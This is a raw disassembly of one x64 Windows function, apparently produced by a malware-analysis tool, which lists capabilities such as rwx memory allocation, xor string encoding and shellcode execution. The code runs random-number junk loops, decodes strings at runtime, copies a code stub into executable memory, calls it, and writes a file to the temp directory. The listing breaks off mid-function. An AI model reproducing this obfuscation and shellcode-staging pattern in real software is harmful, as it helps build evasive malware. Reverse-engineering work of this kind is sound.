Function at 0x1401f7520
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1860]
mov eax, 0x1960
call fcn.140267620
sub rsp, rax
movaps xmmword [rsp + 0x1950], xmm6
movaps xmmword [rsp + 0x1940], xmm7
movaps xmmword [rsp + 0x1930], xmm8
movaps xmmword [rsp + 0x1920], xmm9
movaps xmmword [rsp + 0x1910], xmm10
movaps xmmword [rsp + 0x1900], xmm11
movaps xmmword [rsp + 0x18f0], xmm12
mov rax, qword [0x14028a040]
xor rax, rsp
mov qword [rbp + 0x17e0], rax
mov r12, rdx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov dword [rsp + 0x48], edi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov r15d, 1
mov ecx, r15d
nop
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f75d0
mov dword [rbp + 0x240], 0x270
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6c
ja 0x1401f763c
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6d
jb 0x1401f7620
shr rax, 0x20
lea r14d, [rax - 0x7ffffc19]
btc r14d, 0x1f
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov rcx, r15
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f7670
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], edi
lea rcx, [rsp + 0x38]
call fcn.1401f17b0
mov rsi, qword [rsp + 0x38]
add rsi, 0x5f5e100
lea rcx, [rsp + 0x38]
call fcn.1401f17b0
cmp qword [rax], rsi
jge 0x1401f7836
mov edi, 0x186a0
nop
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f770a
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f76f0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r15d
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f775a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f7740
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f77aa
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f7790
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f77fa
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f77e0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r15
jne 0x1401f76d0
jmp 0x1401f76b6
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x40]
call fcn.140267404
lea rsi, [0x140000000]
lea rax, [rsi + 0x276888]
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov dword [rsp + 0x48], 4
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0x88]
mov dword [rbp + rcx + 0x3c], r8d
lea rcx, [rbp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + 0x48], rax
xor edi, edi
mov qword [rbp + 0xb0], rdi
mov dword [rbp + 0xb8], 4
mov edx, r14d
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
movsd xmm0, qword [str.o54I]
movsd qword [rsp + 0x38], xmm0
movzx eax, word [0x1402783f8]
mov edx, 0x2e
mov word [rsp + 0x38], dx
xor word [rsp + 0x3a], 0x43
xor word [rsp + 0x3c], 0x45
xor word [rsp + 0x3e], 0x47
xor ax, 0x49
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x38]
call fcn.1402426d0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rdi
mov r14d, 7
mov qword [rbp + 0x38], r14
mov word [rbp + 0x20], di
mov dword [rsp + 0x48], 0x14
mov ecx, dword [rbp + 0xb8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x1401f7986
mov rax, qword [rbp + 0x88]
mov rdx, qword [rax]
test rdx, rdx
je 0x1401f7986
mov rax, qword [rbp + 0x68]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0xb0]
cmovb rdx, qword [rbp + 0xb0]
sub rdx, r9
jmp 0x1401f79b4
test cl, 4
jne 0x1401f79e5
mov rax, qword [rbp + 0x80]
mov rcx, qword [rax]
test rcx, rcx
je 0x1401f79e5
mov rax, qword [rbp + 0x60]
mov r9, qword [rax]
mov rax, qword [rbp + 0x98]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, rcx
sar rdx, 1
test r9, r9
je 0x1401f79e5
lea rcx, [rbp + 0x20]
cmp rdx, r14
ja 0x1401f79df
mov qword [rbp + 0x30], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx + 0x20], di
jmp 0x1401f79e5
call fcn.1402440a0
nop
mov edi, 0xc
mov dword [rsp + 0x30], 0x104
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
lea rax, [rbp + 0x1888]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x40], rbx
mov qword [rax], 0
xor ecx, ecx
lea r8, [0x140242de0]
mov rax, qword [0x1402900b0]
test rax, rax
je 0x1401f7a69
xor edx, edx
nop word [rax + rax]
cmp rax, r8
je 0x1401f7a58
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2900b0]
test rax, rax
jne 0x1401f7a40
jmp 0x1401f7a69
mov r9, qword [rsi + rdx*8 + 0x290d70]
test r9, r9
jne 0x1401f7b4f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
lea r8, [0x140242de0]
test rax, rax
je 0x1401f7b2e
mov rax, r8
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f7aa0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290718]
mov qword [rsi + rax*8 + 0x2900b0], r8
mov qword [rsi + rax*8 + 0x290d70], r9
inc rax
mov qword [0x140290718], rax
lea r8, [rbp + 0x15d0]
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [rbp - 0x40], rbx
lea rax, [rbp + 0x1888]
mov qword [rax], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rax, [rbp + 0x15d0]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x1401f7ba1
lea rdx, [rbp + 0x15d0]
lea rcx, [rbp - 0x20]
call fcn.140244500
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.140240f40
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov word [rax], bx
or edi, 2
mov dword [rsp + 0x48], edi
lea rcx, [rbp - 0x20]
call fcn.140240ed0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov rcx, r15
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f7c20
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x38]
call fcn.1401f17b0
mov r15, qword [rsp + 0x38]
add r15, 0x5f5e100
mov r13d, 1
nop dword [rax]
lea rcx, [rsp + 0x38]
call fcn.1401f17b0
cmp qword [rax], r15
jge 0x1401f7df6
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f7cca
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f7cb0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r13d
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f7d1a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f7d00
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f7d6a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f7d50
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f7dba
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f7da0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r13
jne 0x1401f7c90
jmp 0x1401f7c70
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x130]
call fcn.140267404
lea rdx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rdx, qword [rbp]
lea rcx, [rbp + 0x130]
call fcn.1402409c0
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
cmp qword [rbp + 0x1b8], 0
mov r13, qword [rsp + 0x50]
xorps xmm0, xmm0
je 0x1401f8af0
movups xmmword [rbp - 0x20], xmm0
xor r15d, r15d
mov ecx, r15d
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], r14
mov word [rbp - 0x20], r15w
mov rdx, r12
cmp qword [r12 + 0x18], 7
jbe 0x1401f7e9b
mov rdx, qword [r12]
mov r8, rdx
jmp 0x1401f7e9e
mov r8, r12
mov rbx, rdx
mov rax, qword [r12 + 0x10]
lea rdi, [r8 + rax*2]
cmp rdx, rdi
je 0x1401f7f5f
mov r12d, 0x22
nop dword [rax]
movzx r9d, word [rbx]
cmp r9w, r12w
je 0x1401f7efc
cmp rcx, r14
jae 0x1401f7ef1
lea rax, [rcx + 1]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmp r14, 7
cmova rax, qword [rbp - 0x20]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x1401f7f49
lea rcx, [rbp - 0x20]
call fcn.140243f10
jmp 0x1401f7f49
mov eax, dword [0x140277a3c]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140277a40]
mov word [rsp + 0x30], r12w
xor word [rsp + 0x32], 0x43
xor ax, 0x45
mov word [rsp + 0x34], ax
lea rax, [rsp + 0x30]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1401f7f30
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.14023f390
add rbx, 2
cmp rbx, rdi
je 0x1401f7f5f
mov r14, qword [rbp - 8]
mov rcx, qword [rbp - 0x10]
jmp 0x1401f7ec0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov r14d, 1
mov ecx, r14d
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f7f80
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], r15d
lea rcx, [rsp + 0x50]
call fcn.1401f17b0
mov rsi, qword [rsp + 0x50]
add rsi, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x50]
call fcn.1401f17b0
cmp qword [rax], rsi
jge 0x1401f8156
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f802a
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f8010
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r14d
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f807a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f8060
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f80ca
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f80b0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f811a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f8100
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r14
jne 0x1401f7ff0
jmp 0x1401f7fd0
mov eax, dword [rsp + 0x30]
movups xmm0, xmmword [0x140278560]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [str.969_yf]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140278580]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x140278590]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1402785a0]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x1402785b0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1402785b8]
mov dword [rbp - 0x48], eax
mov r9d, r15d
mov edi, 0xff8a
mov ebx, dword [0x14028a090]
cmp ebx, 2
jl 0x1401f8387
movdqa xmm8, xmmword [0x140279550]
movdqa xmm6, xmmword [0x140279690]
movdqa xmm7, xmmword [0x1402796b0]
movdqa xmm9, xmmword [str.kkkkoooo]
movdqa xmm10, xmmword [0x1402796c0]
movdqa xmm11, xmmword [str.AAAAAAAA]
lea rcx, [rsp + 0x60]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x1401f8200
cmp r9d, 0x2e
jge 0x1401f83f4
movsxd rax, r9d
lea r10, [rsp + 0x60]
lea r10, [r10 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x6b
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
movzx eax, r9w
add ax, ax
add cx, 0x41
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x1401f83a0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x130]
call fcn.1402426d0
movups xmm11, xmmword [0x140276750]
movups xmmword [rbp - 0x40], xmm11
movq xmm12, qword [0x140276760]
movq qword [rbp - 0x30], xmm12
mov eax, dword [0x140276768]
mov dword [rbp - 0x28], eax
movzx eax, word [0x14027676c]
mov word [rbp - 0x24], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401f8682
movdqa xmm6, xmmword [0x140279690]
movdqa xmm7, xmmword [0x1402796b0]
movdqa xmm9, xmmword [str.kkkkoooo]
movdqa xmm8, xmmword [0x1402796c0]
movdqa xmm10, xmmword [str.AAAAAAAA]
movdqa xmm5, xmmword [0x140279550]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x40], xmm3
movdqa xmm5, xmmword [0x140279570]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x38]
xorps xmm3, xmm1
movq qword [rbp - 0x38], xmm3
movdqa xmm5, xmmword [0x140279590]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm12
xorps xmm3, xmm1
movq qword [rbp - 0x30], xmm3
mov r9d, 0xc
mov eax, r9d
lea r10, [rbp - 0x40]
lea r10, [r10 + rax*2]
nop dword [rax]
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x6b
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
movzx eax, r9w
add ax, ax
add cx, 0x41
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x1401f8690
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x130]
call fcn.1402426d0
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.140249380
mov r11, rax
movups xmm11, xmmword [str.coewek_v._0_Y]
